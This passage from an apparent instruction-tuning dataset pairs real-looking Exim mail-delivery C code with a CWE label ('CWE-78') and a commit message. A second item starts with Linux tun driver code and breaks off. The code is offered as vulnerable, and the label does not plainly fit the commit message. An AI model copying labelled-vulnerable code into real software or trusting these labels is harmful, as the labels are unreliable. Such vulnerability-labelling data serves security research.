{\n addr = addr_failed;\n addr_failed = addr->next;\n if (addr->return_filename) Uunlink(addr->return_filename);\n\n log_write(0, LOG_MAIN, \"%s%s%s%s: error ignored\",\n addr->address,\n !addr->parent ? US\"\" : US\" <\",\n !addr->parent ? US\"\" : addr->parent->address,\n !addr->parent ? US\"\" : US\">\");\n\n address_done(addr, logtod);\n child_done(addr, logtod);\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n }\n\n /* Otherwise, handle the sending of a message. Find the error address for\n the first address, then send a message that includes all failed addresses\n that have the same error address. Note the bounce_recipient is a global so\n that it can be accessed by $bounce_recipient while creating a customized\n error message. */\n\n else\n {\n if (!(bounce_recipient = addr_failed->prop.errors_address))\n bounce_recipient = sender_address;\n\n /* Make a subprocess to send a message */\n\n if ((pid = child_open_exim(&fd)) < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"Process %d (parent %d) failed to \"\n \"create child process to send failure message: %s\", getpid(),\n getppid(), strerror(errno));\n\n /* Creation of child succeeded */\n\n else\n {\n int ch, rc;\n int filecount = 0;\n int rcount = 0;\n uschar *bcc, *emf_text;\n FILE * fp = fdopen(fd, \"wb\");\n FILE * emf = NULL;\n BOOL to_sender = strcmpic(sender_address, bounce_recipient) == 0;\n int max = (bounce_return_size_limit/DELIVER_IN_BUFFER_SIZE + 1) *\n DELIVER_IN_BUFFER_SIZE;\n uschar * bound;\n uschar *dsnlimitmsg;\n uschar *dsnnotifyhdr;\n int topt;\n\n DEBUG(D_deliver)\n debug_printf(\"sending error message to: %s\\n\", bounce_recipient);\n\n /* Scan the addresses for all that have the same errors address, removing\n them from the addr_failed chain, and putting them on msgchain. */\n\n paddr = &addr_failed;\n for (addr = addr_failed; addr; addr = *paddr)\n if (Ustrcmp(bounce_recipient, addr->prop.errors_address\n\t ? addr->prop.errors_address : sender_address) == 0)\n { /* The same - dechain */\n *paddr = addr->next;\n *pmsgchain = addr;\n addr->next = NULL;\n pmsgchain = &(addr->next);\n }\n else\n paddr = &addr->next; /* Not the same; skip */\n\n /* Include X-Failed-Recipients: for automatic interpretation, but do\n not let any one header line get too long. We do this by starting a\n new header every 50 recipients. Omit any addresses for which the\n \"hide_child\" flag is set. */\n\n for (addr = msgchain; addr; addr = addr->next)\n {\n if (testflag(addr, af_hide_child)) continue;\n if (rcount >= 50)\n {\n fprintf(fp, \"\\n\");\n rcount = 0;\n }\n fprintf(fp, \"%s%s\",\n rcount++ == 0\n\t ? \"X-Failed-Recipients: \"\n\t : \",\\n \",\n testflag(addr, af_pfr) && addr->parent\n\t ? string_printing(addr->parent->address)\n\t : string_printing(addr->address));\n }\n if (rcount > 0) fprintf(fp, \"\\n\");\n\n /* Output the standard headers */\n\n if (errors_reply_to)\n fprintf(fp, \"Reply-To: %s\\n\", errors_reply_to);\n fprintf(fp, \"Auto-Submitted: auto-replied\\n\");\n moan_write_from(fp);\n fprintf(fp, \"To: %s\\n\", bounce_recipient);\n\n /* generate boundary string and output MIME-Headers */\n bound = string_sprintf(TIME_T_FMT \"-eximdsn-%d\", time(NULL), rand());\n\n fprintf(fp, \"Content-Type: multipart/report;\"\n\t \" report-type=delivery-status; boundary=%s\\n\"\n\t \"MIME-Version: 1.0\\n\",\n\tbound);\n\n /* Open a template file if one is provided. Log failure to open, but\n carry on - default texts will be used. */\n\n if (bounce_message_file)\n if (!(emf = Ufopen(bounce_message_file, \"rb\")))\n log_write(0, LOG_MAIN|LOG_PANIC, \"Failed to open %s for error \"\n \"message texts: %s\", bounce_message_file, strerror(errno));\n\n /* Quietly copy to configured additional addresses if required. */\n\n if ((bcc = moan_check_errorcopy(bounce_recipient)))\n\tfprintf(fp, \"Bcc: %s\\n\", bcc);\n\n /* The texts for the message can be read from a template file; if there\n isn't one, or if it is too short, built-in texts are used. The first\n emf text is a Subject: and any other headers. */\n\n if ((emf_text = next_emf(emf, US\"header\")))\n\tfprintf(fp, \"%s\\n\", emf_text);\n else\n fprintf(fp, \"Subject: Mail delivery failed%s\\n\\n\",\n to_sender? \": returning message to sender\" : \"\");\n\n /* output human readable part as text/plain section */\n fprintf(fp, \"--%s\\n\"\n\t \"Content-type: text/plain; charset=us-ascii\\n\\n\",\n\tbound);\n\n if ((emf_text = next_emf(emf, US\"intro\")))\n\tfprintf(fp, \"%s\", CS emf_text);\n else\n {\n fprintf(fp,\n/* This message has been reworded several times. It seems to be confusing to\nsomebody, however it is worded. I have retreated to the original, simple\nwording. */\n\"This message was created automatically by mail delivery software.\\n\");\n\n if (bounce_message_text)\n\t fprintf(fp, \"%s\", CS bounce_message_text);\n if (to_sender)\n fprintf(fp,\n\"\\nA message that you sent could not be delivered to one or more of its\\n\"\n\"recipients. This is a permanent error. The following address(es) failed:\\n\");\n else\n fprintf(fp,\n\"\\nA message sent by\\n\\n <%s>\\n\\n\"\n\"could not be delivered to one or more of its recipients. The following\\n\"\n\"address(es) failed:\\n\", sender_address);\n }\n fputc('\\n', fp);\n\n /* Process the addresses, leaving them on the msgchain if they have a\n file name for a return message. (There has already been a check in\n post_process_one() for the existence of data in the message file.) A TRUE\n return from print_address_information() means that the address is not\n hidden. */\n\n paddr = &msgchain;\n for (addr = msgchain; addr; addr = *paddr)\n {\n if (print_address_information(addr, fp, US\" \", US\"\\n \", US\"\"))\n print_address_error(addr, fp, US\"\");\n\n /* End the final line for the address */\n\n fputc('\\n', fp);\n\n /* Leave on msgchain if there's a return file. */\n\n if (addr->return_file >= 0)\n {\n paddr = &(addr->next);\n filecount++;\n }\n\n /* Else save so that we can tick off the recipient when the\n message is sent. */\n\n else\n {\n *paddr = addr->next;\n addr->next = handled_addr;\n handled_addr = addr;\n }\n }\n\n fputc('\\n', fp);\n\n /* Get the next text, whether we need it or not, so as to be\n positioned for the one after. */\n\n emf_text = next_emf(emf, US\"generated text\");\n\n /* If there were any file messages passed by the local transports,\n include them in the message. Then put the address on the handled chain.\n In the case of a batch of addresses that were all sent to the same\n transport, the return_file field in all of them will contain the same\n fd, and the return_filename field in the *last* one will be set (to the\n name of the file). */\n\n if (msgchain)\n {\n address_item *nextaddr;\n\n if (emf_text)\n\t fprintf(fp, \"%s\", CS emf_text);\n\telse\n fprintf(fp,\n \"The following text was generated during the delivery \"\n \"attempt%s:\\n\", (filecount > 1)? \"s\" : \"\");\n\n for (addr = msgchain; addr; addr = nextaddr)\n {\n FILE *fm;\n address_item *topaddr = addr;\n\n /* List all the addresses that relate to this file */\n\n\t fputc('\\n', fp);\n while(addr) /* Insurance */\n {\n print_address_information(addr, fp, US\"------ \", US\"\\n \",\n US\" ------\\n\");\n if (addr->return_filename) break;\n addr = addr->next;\n }\n\t fputc('\\n', fp);\n\n /* Now copy the file */\n\n if (!(fm = Ufopen(addr->return_filename, \"rb\")))\n fprintf(fp, \" +++ Exim error... failed to open text file: %s\\n\",\n strerror(errno));\n else\n {\n while ((ch = fgetc(fm)) != EOF) fputc(ch, fp);\n (void)fclose(fm);\n }\n Uunlink(addr->return_filename);\n\n /* Can now add to handled chain, first fishing off the next\n address on the msgchain. */\n\n nextaddr = addr->next;\n addr->next = handled_addr;\n handled_addr = topaddr;\n }\n\tfputc('\\n', fp);\n }\n\n /* output machine readable part */\n#ifdef SUPPORT_I18N\n if (message_smtputf8)\n\tfprintf(fp, \"--%s\\n\"\n\t \"Content-type: message/global-delivery-status\\n\\n\"\n\t \"Reporting-MTA: dns; %s\\n\",\n\t bound, smtp_active_hostname);\n else\n#endif\n\tfprintf(fp, \"--%s\\n\"\n\t \"Content-type: message/delivery-status\\n\\n\"\n\t \"Reporting-MTA: dns; %s\\n\",\n\t bound, smtp_active_hostname);\n\n if (dsn_envid)\n\t{\n /* must be decoded from xtext: see RFC 3461:6.3a */\n uschar *xdec_envid;\n if (auth_xtextdecode(dsn_envid, &xdec_envid) > 0)\n fprintf(fp, \"Original-Envelope-ID: %s\\n\", dsn_envid);\n else\n fprintf(fp, \"X-Original-Envelope-ID: error decoding xtext formatted ENVID\\n\");\n }\n fputc('\\n', fp);\n\n for (addr = handled_addr; addr; addr = addr->next)\n {\n\thost_item * hu;\n fprintf(fp, \"Action: failed\\n\"\n\t \"Final-Recipient: rfc822;%s\\n\"\n\t \"Status: 5.0.0\\n\",\n\t addr->address);\n if ((hu = addr->host_used) && hu->name)\n\t {\n\t fprintf(fp, \"Remote-MTA: dns; %s\\n\", hu->name);\n#ifdef EXPERIMENTAL_DSN_INFO\n\t {\n\t const uschar * s;\n\t if (hu->address)\n\t {\n\t uschar * p = hu->port == 25\n\t ? US\"\" : string_sprintf(\":%d\", hu->port);\n\t fprintf(fp, \"Remote-MTA: X-ip; [%s]%s\\n\", hu->address, p);\n\t }\n\t if ((s = addr->smtp_greeting) && *s)\n\t fprintf(fp, \"X-Remote-MTA-smtp-greeting: X-str; %s\\n\", s);\n\t if ((s = addr->helo_response) && *s)\n\t fprintf(fp, \"X-Remote-MTA-helo-response: X-str; %s\\n\", s);\n\t if ((s = addr->message) && *s)\n\t fprintf(fp, \"X-Exim-Diagnostic: X-str; %s\\n\", s);\n\t }\n#endif\n\t print_dsn_diagnostic_code(addr, fp);\n\t }\n\tfputc('\\n', fp);\n }\n\n /* Now copy the message, trying to give an intelligible comment if\n it is too long for it all to be copied. The limit isn't strictly\n applied because of the buffering. There is, however, an option\n to suppress copying altogether. */\n\n emf_text = next_emf(emf, US\"copy\");\n\n /* add message body\n we ignore the intro text from template and add\n the text for bounce_return_size_limit at the end.\n\n bounce_return_message is ignored\n in case RET= is defined we honor these values\n otherwise bounce_return_body is honored.\n\n bounce_return_size_limit is always honored.\n */\n\n fprintf(fp, \"--%s\\n\", bound);\n\n dsnlimitmsg = US\"X-Exim-DSN-Information: Due to administrative limits only headers are returned\";\n dsnnotifyhdr = NULL;\n topt = topt_add_return_path;\n\n /* RET=HDRS? top priority */\n if (dsn_ret == dsn_ret_hdrs)\n topt |= topt_no_body;\n else\n\t{\n\tstruct stat statbuf;\n\n /* no full body return at all? */\n if (!bounce_return_body)\n {\n topt |= topt_no_body;\n /* add header if we overrule RET=FULL */\n if (dsn_ret == dsn_ret_full)\n dsnnotifyhdr = dsnlimitmsg;\n }\n\t/* line length limited... return headers only if oversize */\n /* size limited ... return headers only if limit reached */\n\telse if ( max_received_linelength > bounce_return_linesize_limit\n\t\t|| ( bounce_return_size_limit > 0\n\t\t && fstat(deliver_datafile, &statbuf) == 0\n\t\t && statbuf.st_size > max\n\t\t) )\n\t {\n\t topt |= topt_no_body;\n\t dsnnotifyhdr = dsnlimitmsg;\n }\n\t}\n\n#ifdef SUPPORT_I18N\n if (message_smtputf8)\n\tfputs(topt & topt_no_body ? \"Content-type: message/global-headers\\n\\n\"\n\t\t\t\t : \"Content-type: message/global\\n\\n\",\n\t fp);\n else\n#endif\n\tfputs(topt & topt_no_body ? \"Content-type: text/rfc822-headers\\n\\n\"\n\t\t\t\t : \"Content-type: message/rfc822\\n\\n\",\n\t fp);\n\n fflush(fp);\n transport_filter_argv = NULL; /* Just in case */\n return_path = sender_address; /* In case not previously set */\n\t{\t\t\t /* Dummy transport for headers add */\n\ttransport_ctx tctx = {{0}};\n\ttransport_instance tb = {0};\n\n\ttctx.u.fd = fileno(fp);\n\ttctx.tblock = &tb;\n\ttctx.options = topt;\n\ttb.add_headers = dsnnotifyhdr;\n\n\ttransport_write_message(&tctx, 0);\n\t}\n fflush(fp);\n\n /* we never add the final text. close the file */\n if (emf)\n (void)fclose(emf);\n\n fprintf(fp, \"\\n--%s--\\n\", bound);\n\n /* Close the file, which should send an EOF to the child process\n that is receiving the message. Wait for it to finish. */\n\n (void)fclose(fp);\n rc = child_close(pid, 0); /* Waits for child to close, no timeout */\n\n /* In the test harness, let the child do it's thing first. */\n\n if (f.running_in_test_harness) millisleep(500);\n\n /* If the process failed, there was some disaster in setting up the\n error message. Unless the message is very old, ensure that addr_defer\n is non-null, which will have the effect of leaving the message on the\n spool. The failed addresses will get tried again next time. However, we\n don't really want this to happen too often, so freeze the message unless\n there are some genuine deferred addresses to try. To do this we have\n to call spool_write_header() here, because with no genuine deferred\n addresses the normal code below doesn't get run. */\n\n if (rc != 0)\n {\n uschar *s = US\"\";\n if (now - received_time.tv_sec < retry_maximum_timeout && !addr_defer)\n {\n addr_defer = (address_item *)(+1);\n f.deliver_freeze = TRUE;\n deliver_frozen_at = time(NULL);\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n s = US\" (frozen)\";\n }\n deliver_msglog(\"Process failed (%d) when writing error message \"\n \"to %s%s\", rc, bounce_recipient, s);\n log_write(0, LOG_MAIN, \"Process failed (%d) when writing error message \"\n \"to %s%s\", rc, bounce_recipient, s);\n }\n\n /* The message succeeded. Ensure that the recipients that failed are\n now marked finished with on the spool and their parents updated. */\n\n else\n {\n for (addr = handled_addr; addr; addr = addr->next)\n {\n address_done(addr, logtod);\n child_done(addr, logtod);\n }\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n }\n }\n }\n }\n\nf.disable_logging = FALSE; /* In case left set */\n\n/* Come here from the mua_wrapper case if routing goes wrong */\n\nDELIVERY_TIDYUP:\n\n/* If there are now no deferred addresses, we are done. Preserve the\nmessage log if so configured, and we are using them. Otherwise, sling it.\nThen delete the message itself. */\n\nif (!addr_defer)\n {\n uschar * fname;\n\n if (message_logs)\n {\n fname = spool_fname(US\"msglog\", message_subdir, id, US\"\");\n if (preserve_message_logs)\n {\n int rc;\n uschar * moname = spool_fname(US\"msglog.OLD\", US\"\", id, US\"\");\n\n if ((rc = Urename(fname, moname)) < 0)\n {\n (void)directory_make(spool_directory,\n\t\t\t spool_sname(US\"msglog.OLD\", US\"\"),\n\t\t\t MSGLOG_DIRECTORY_MODE, TRUE);\n rc = Urename(fname, moname);\n }\n if (rc < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to move %s to the \"\n \"msglog.OLD directory\", fname);\n }\n else\n if (Uunlink(fname) < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to unlink %s: %s\",\n\t\t fname, strerror(errno));\n }\n\n /* Remove the two message files. */\n\n fname = spool_fname(US\"input\", message_subdir, id, US\"-D\");\n if (Uunlink(fname) < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to unlink %s: %s\",\n fname, strerror(errno));\n fname = spool_fname(US\"input\", message_subdir, id, US\"-H\");\n if (Uunlink(fname) < 0)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to unlink %s: %s\",\n fname, strerror(errno));\n\n /* Log the end of this message, with queue time if requested. */\n\n if (LOGGING(queue_time_overall))\n log_write(0, LOG_MAIN, \"Completed QT=%s\", string_timesince(&received_time));\n else\n log_write(0, LOG_MAIN, \"Completed\");\n\n /* Unset deliver_freeze so that we won't try to move the spool files further down */\n f.deliver_freeze = FALSE;\n\n#ifndef DISABLE_EVENT\n (void) event_raise(event_action, US\"msg:complete\", NULL);\n#endif\n }\n\n/* If there are deferred addresses, we are keeping this message because it is\nnot yet completed. Lose any temporary files that were catching output from\npipes for any of the deferred addresses, handle one-time aliases, and see if\nthe message has been on the queue for so long that it is time to send a warning\nmessage to the sender, unless it is a mailer-daemon. If all deferred addresses\nhave the same domain, we can set deliver_domain for the expansion of\ndelay_warning_ condition - if any of them are pipes, files, or autoreplies, use\nthe parent's domain.\n\nIf all the deferred addresses have an error number that indicates \"retry time\nnot reached\", skip sending the warning message, because it won't contain the\nreason for the delay. It will get sent at the next real delivery attempt.\nHowever, if at least one address has tried, we'd better include all of them in\nthe message.\n\nIf we can't make a process to send the message, don't worry.\n\nFor mailing list expansions we want to send the warning message to the\nmailing list manager. We can't do a perfect job here, as some addresses may\nhave different errors addresses, but if we take the errors address from\neach deferred address it will probably be right in most cases.\n\nIf addr_defer == +1, it means there was a problem sending an error message\nfor failed addresses, and there were no \"real\" deferred addresses. The value\nwas set just to keep the message on the spool, so there is nothing to do here.\n*/\n\nelse if (addr_defer != (address_item *)(+1))\n {\n address_item *addr;\n uschar *recipients = US\"\";\n BOOL delivery_attempted = FALSE;\n\n deliver_domain = testflag(addr_defer, af_pfr)\n ? addr_defer->parent->domain : addr_defer->domain;\n\n for (addr = addr_defer; addr; addr = addr->next)\n {\n address_item *otaddr;\n\n if (addr->basic_errno > ERRNO_RETRY_BASE) delivery_attempted = TRUE;\n\n if (deliver_domain)\n {\n const uschar *d = testflag(addr, af_pfr)\n\t? addr->parent->domain : addr->domain;\n\n /* The domain may be unset for an address that has never been routed\n because the system filter froze the message. */\n\n if (!d || Ustrcmp(d, deliver_domain) != 0)\n deliver_domain = NULL;\n }\n\n if (addr->return_filename) Uunlink(addr->return_filename);\n\n /* Handle the case of one-time aliases. If any address in the ancestry\n of this one is flagged, ensure it is in the recipients list, suitably\n flagged, and that its parent is marked delivered. */\n\n for (otaddr = addr; otaddr; otaddr = otaddr->parent)\n if (otaddr->onetime_parent) break;\n\n if (otaddr)\n {\n int i;\n int t = recipients_count;\n\n for (i = 0; i < recipients_count; i++)\n {\n uschar *r = recipients_list[i].address;\n if (Ustrcmp(otaddr->onetime_parent, r) == 0) t = i;\n if (Ustrcmp(otaddr->address, r) == 0) break;\n }\n\n /* Didn't find the address already in the list, and did find the\n ultimate parent's address in the list, and they really are different\n (i.e. not from an identity-redirect). After adding the recipient,\n update the errors address in the recipients list. */\n\n if ( i >= recipients_count && t < recipients_count\n && Ustrcmp(otaddr->address, otaddr->parent->address) != 0)\n {\n DEBUG(D_deliver) debug_printf(\"one_time: adding %s in place of %s\\n\",\n otaddr->address, otaddr->parent->address);\n receive_add_recipient(otaddr->address, t);\n recipients_list[recipients_count-1].errors_to = otaddr->prop.errors_address;\n tree_add_nonrecipient(otaddr->parent->address);\n update_spool = TRUE;\n }\n }\n\n /* Except for error messages, ensure that either the errors address for\n this deferred address or, if there is none, the sender address, is on the\n list of recipients for a warning message. */\n\n if (sender_address[0])\n {\n uschar * s = addr->prop.errors_address;\n if (!s) s = sender_address;\n if (Ustrstr(recipients, s) == NULL)\n\trecipients = string_sprintf(\"%s%s%s\", recipients,\n\t recipients[0] ? \",\" : \"\", s);\n }\n }\n\n /* Send a warning message if the conditions are right. If the condition check\n fails because of a lookup defer, there is nothing we can do. The warning\n is not sent. Another attempt will be made at the next delivery attempt (if\n it also defers). */\n\n if ( !f.queue_2stage\n && delivery_attempted\n && ( ((addr_defer->dsn_flags & rf_dsnflags) == 0)\n || (addr_defer->dsn_flags & rf_notify_delay) == rf_notify_delay\n\t)\n && delay_warning[1] > 0\n && sender_address[0] != 0\n && ( !delay_warning_condition\n || expand_check_condition(delay_warning_condition,\n US\"delay_warning\", US\"option\")\n\t)\n )\n {\n int count;\n int show_time;\n int queue_time = time(NULL) - received_time.tv_sec;\n\n /* When running in the test harness, there's an option that allows us to\n fudge this time so as to get repeatability of the tests. Take the first\n time off the list. In queue runs, the list pointer gets updated in the\n calling process. */\n\n if (f.running_in_test_harness && fudged_queue_times[0] != 0)\n {\n int qt = readconf_readtime(fudged_queue_times, '/', FALSE);\n if (qt >= 0)\n {\n DEBUG(D_deliver) debug_printf(\"fudged queue_times = %s\\n\",\n fudged_queue_times);\n queue_time = qt;\n }\n }\n\n /* See how many warnings we should have sent by now */\n\n for (count = 0; count < delay_warning[1]; count++)\n if (queue_time < delay_warning[count+2]) break;\n\n show_time = delay_warning[count+1];\n\n if (count >= delay_warning[1])\n {\n int extra;\n int last_gap = show_time;\n if (count > 1) last_gap -= delay_warning[count];\n extra = (queue_time - delay_warning[count+1])/last_gap;\n show_time += last_gap * extra;\n count += extra;\n }\n\n DEBUG(D_deliver)\n {\n debug_printf(\"time on queue = %s\\n\", readconf_printtime(queue_time));\n debug_printf(\"warning counts: required %d done %d\\n\", count,\n warning_count);\n }\n\n /* We have computed the number of warnings there should have been by now.\n If there haven't been enough, send one, and up the count to what it should\n have been. */\n\n if (warning_count < count)\n {\n header_line *h;\n int fd;\n pid_t pid = child_open_exim(&fd);\n\n if (pid > 0)\n {\n uschar *wmf_text;\n FILE *wmf = NULL;\n FILE *f = fdopen(fd, \"wb\");\n\tuschar * bound;\n\ttransport_ctx tctx = {{0}};\n\n if (warn_message_file)\n if (!(wmf = Ufopen(warn_message_file, \"rb\")))\n log_write(0, LOG_MAIN|LOG_PANIC, \"Failed to open %s for warning \"\n \"message texts: %s\", warn_message_file, strerror(errno));\n\n warnmsg_recipients = recipients;\n warnmsg_delay = queue_time < 120*60\n\t ? string_sprintf(\"%d minutes\", show_time/60)\n\t : string_sprintf(\"%d hours\", show_time/3600);\n\n if (errors_reply_to)\n fprintf(f, \"Reply-To: %s\\n\", errors_reply_to);\n fprintf(f, \"Auto-Submitted: auto-replied\\n\");\n moan_write_from(f);\n fprintf(f, \"To: %s\\n\", recipients);\n\n /* generated boundary string and output MIME-Headers */\n bound = string_sprintf(TIME_T_FMT \"-eximdsn-%d\", time(NULL), rand());\n\n fprintf(f, \"Content-Type: multipart/report;\"\n\t \" report-type=delivery-status; boundary=%s\\n\"\n\t \"MIME-Version: 1.0\\n\",\n\t bound);\n\n if ((wmf_text = next_emf(wmf, US\"header\")))\n fprintf(f, \"%s\\n\", wmf_text);\n else\n fprintf(f, \"Subject: Warning: message %s delayed %s\\n\\n\",\n message_id, warnmsg_delay);\n\n /* output human readable part as text/plain section */\n fprintf(f, \"--%s\\n\"\n\t \"Content-type: text/plain; charset=us-ascii\\n\\n\",\n\t bound);\n\n if ((wmf_text = next_emf(wmf, US\"intro\")))\n\t fprintf(f, \"%s\", CS wmf_text);\n\telse\n {\n fprintf(f,\n\"This message was created automatically by mail delivery software.\\n\");\n\n if (Ustrcmp(recipients, sender_address) == 0)\n fprintf(f,\n\"A message that you sent has not yet been delivered to one or more of its\\n\"\n\"recipients after more than \");\n\n else\n\t fprintf(f,\n\"A message sent by\\n\\n <%s>\\n\\n\"\n\"has not yet been delivered to one or more of its recipients after more than \\n\",\n\t sender_address);\n\n fprintf(f, \"%s on the queue on %s.\\n\\n\"\n\t \"The message identifier is: %s\\n\",\n\t warnmsg_delay, primary_hostname, message_id);\n\n for (h = header_list; h; h = h->next)\n if (strncmpic(h->text, US\"Subject:\", 8) == 0)\n fprintf(f, \"The subject of the message is: %s\", h->text + 9);\n else if (strncmpic(h->text, US\"Date:\", 5) == 0)\n fprintf(f, \"The date of the message is: %s\", h->text + 6);\n fputc('\\n', f);\n\n fprintf(f, \"The address%s to which the message has not yet been \"\n \"delivered %s:\\n\",\n !addr_defer->next ? \"\" : \"es\",\n !addr_defer->next ? \"is\": \"are\");\n }\n\n /* List the addresses, with error information if allowed */\n\n /* store addr_defer for machine readable part */\n address_item *addr_dsndefer = addr_defer;\n fputc('\\n', f);\n while (addr_defer)\n {\n address_item *addr = addr_defer;\n addr_defer = addr->next;\n if (print_address_information(addr, f, US\" \", US\"\\n \", US\"\"))\n print_address_error(addr, f, US\"Delay reason: \");\n fputc('\\n', f);\n }\n fputc('\\n', f);\n\n /* Final text */\n\n if (wmf)\n {\n if ((wmf_text = next_emf(wmf, US\"final\")))\n\t fprintf(f, \"%s\", CS wmf_text);\n (void)fclose(wmf);\n }\n else\n {\n fprintf(f,\n\"No action is required on your part. Delivery attempts will continue for\\n\"\n\"some time, and this warning may be repeated at intervals if the message\\n\"\n\"remains undelivered. Eventually the mail delivery software will give up,\\n\"\n\"and when that happens, the message will be returned to you.\\n\");\n }\n\n /* output machine readable part */\n fprintf(f, \"\\n--%s\\n\"\n\t \"Content-type: message/delivery-status\\n\\n\"\n\t \"Reporting-MTA: dns; %s\\n\",\n\t bound,\n\t smtp_active_hostname);\n\n\n if (dsn_envid)\n\t {\n /* must be decoded from xtext: see RFC 3461:6.3a */\n uschar *xdec_envid;\n if (auth_xtextdecode(dsn_envid, &xdec_envid) > 0)\n fprintf(f,\"Original-Envelope-ID: %s\\n\", dsn_envid);\n else\n fprintf(f,\"X-Original-Envelope-ID: error decoding xtext formatted ENVID\\n\");\n }\n fputc('\\n', f);\n\n for ( ; addr_dsndefer; addr_dsndefer = addr_dsndefer->next)\n {\n if (addr_dsndefer->dsn_orcpt)\n fprintf(f, \"Original-Recipient: %s\\n\", addr_dsndefer->dsn_orcpt);\n\n fprintf(f, \"Action: delayed\\n\"\n\t \"Final-Recipient: rfc822;%s\\n\"\n\t \"Status: 4.0.0\\n\",\n\t addr_dsndefer->address);\n if (addr_dsndefer->host_used && addr_dsndefer->host_used->name)\n {\n fprintf(f, \"Remote-MTA: dns; %s\\n\",\n\t\t addr_dsndefer->host_used->name);\n print_dsn_diagnostic_code(addr_dsndefer, f);\n }\n\t fputc('\\n', f);\n }\n\n fprintf(f, \"--%s\\n\"\n\t \"Content-type: text/rfc822-headers\\n\\n\",\n\t bound);\n\n fflush(f);\n /* header only as required by RFC. only failure DSN needs to honor RET=FULL */\n\ttctx.u.fd = fileno(f);\n tctx.options = topt_add_return_path | topt_no_body;\n transport_filter_argv = NULL; /* Just in case */\n return_path = sender_address; /* In case not previously set */\n\n /* Write the original email out */\n transport_write_message(&tctx, 0);\n fflush(f);\n\n fprintf(f,\"\\n--%s--\\n\", bound);\n\n fflush(f);\n\n /* Close and wait for child process to complete, without a timeout.\n If there's an error, don't update the count. */\n\n (void)fclose(f);\n if (child_close(pid, 0) == 0)\n {\n warning_count = count;\n update_spool = TRUE; /* Ensure spool rewritten */\n }\n }\n }\n }\n\n /* Clear deliver_domain */\n\n deliver_domain = NULL;\n\n /* If this was a first delivery attempt, unset the first time flag, and\n ensure that the spool gets updated. */\n\n if (f.deliver_firsttime)\n {\n f.deliver_firsttime = FALSE;\n update_spool = TRUE;\n }\n\n /* If delivery was frozen and freeze_tell is set, generate an appropriate\n message, unless the message is a local error message (to avoid loops). Then\n log the freezing. If the text in \"frozen_info\" came from a system filter,\n it has been escaped into printing characters so as not to mess up log lines.\n For the \"tell\" message, we turn \\n back into newline. Also, insert a newline\n near the start instead of the \": \" string. */\n\n if (f.deliver_freeze)\n {\n if (freeze_tell && freeze_tell[0] != 0 && !f.local_error_message)\n {\n uschar *s = string_copy(frozen_info);\n uschar *ss = Ustrstr(s, \" by the system filter: \");\n\n if (ss != NULL)\n {\n ss[21] = '.';\n ss[22] = '\\n';\n }\n\n ss = s;\n while (*ss != 0)\n {\n if (*ss == '\\\\' && ss[1] == 'n')\n {\n *ss++ = ' ';\n *ss++ = '\\n';\n }\n else ss++;\n }\n moan_tell_someone(freeze_tell, addr_defer, US\"Message frozen\",\n \"Message %s has been frozen%s.\\nThe sender is <%s>.\\n\", message_id,\n s, sender_address);\n }\n\n /* Log freezing just before we update the -H file, to minimize the chance\n of a race problem. */\n\n deliver_msglog(\"*** Frozen%s\\n\", frozen_info);\n log_write(0, LOG_MAIN, \"Frozen%s\", frozen_info);\n }\n\n /* If there have been any updates to the non-recipients list, or other things\n that get written to the spool, we must now update the spool header file so\n that it has the right information for the next delivery attempt. If there\n was more than one address being delivered, the header_change update is done\n earlier, in case one succeeds and then something crashes. */\n\n DEBUG(D_deliver)\n debug_printf(\"delivery deferred: update_spool=%d header_rewritten=%d\\n\",\n update_spool, f.header_rewritten);\n\n if (update_spool || f.header_rewritten)\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n }\n\n/* Finished with the message log. If the message is complete, it will have\nbeen unlinked or renamed above. */\n\nif (message_logs) (void)fclose(message_log);\n\n/* Now we can close and remove the journal file. Its only purpose is to record\nsuccessfully completed deliveries asap so that this information doesn't get\nlost if Exim (or the machine) crashes. Forgetting about a failed delivery is\nnot serious, as trying it again is not harmful. The journal might not be open\nif all addresses were deferred at routing or directing. Nevertheless, we must\nremove it if it exists (may have been lying around from a crash during the\nprevious delivery attempt). We don't remove the journal if a delivery\nsubprocess failed to pass back delivery information; this is controlled by\nthe remove_journal flag. When the journal is left, we also don't move the\nmessage off the main spool if frozen and the option is set. It should get moved\nat the next attempt, after the journal has been inspected. */\n\nif (journal_fd >= 0) (void)close(journal_fd);\n\nif (remove_journal)\n {\n uschar * fname = spool_fname(US\"input\", message_subdir, id, US\"-J\");\n\n if (Uunlink(fname) < 0 && errno != ENOENT)\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to unlink %s: %s\", fname,\n strerror(errno));\n\n /* Move the message off the spool if requested */\n\n#ifdef SUPPORT_MOVE_FROZEN_MESSAGES\n if (f.deliver_freeze && move_frozen_messages)\n (void)spool_move_message(id, message_subdir, US\"\", US\"F\");\n#endif\n }\n\n/* Closing the data file frees the lock; if the file has been unlinked it\nwill go away. Otherwise the message becomes available for another process\nto try delivery. */\n\n(void)close(deliver_datafile);\ndeliver_datafile = -1;\nDEBUG(D_deliver) debug_printf(\"end delivery of %s\\n\", id);\n\n/* It is unlikely that there will be any cached resources, since they are\nreleased after routing, and in the delivery subprocesses. However, it's\npossible for an expansion for something afterwards (for example,\nexpand_check_condition) to do a lookup. We must therefore be sure everything is\nreleased. */\n\nsearch_tidyup();\nacl_where = ACL_WHERE_UNKNOWN;\nreturn final_yield;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78'], 'message': 'Events: raise msg:fail:internal & msg:complete for -Mrm. Bug 2310'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int tun_set_iff(struct net *net, struct file *file, struct ifreq *ifr)\n{\n\tstruct tun_struct *tun;\n\tstruct tun_file *tfile = file->private_data;\n\tstruct net_device *dev;\n\tint err;\n\n\tif (tfile->detached)\n\t\treturn -EINVAL;\n\n\tdev = 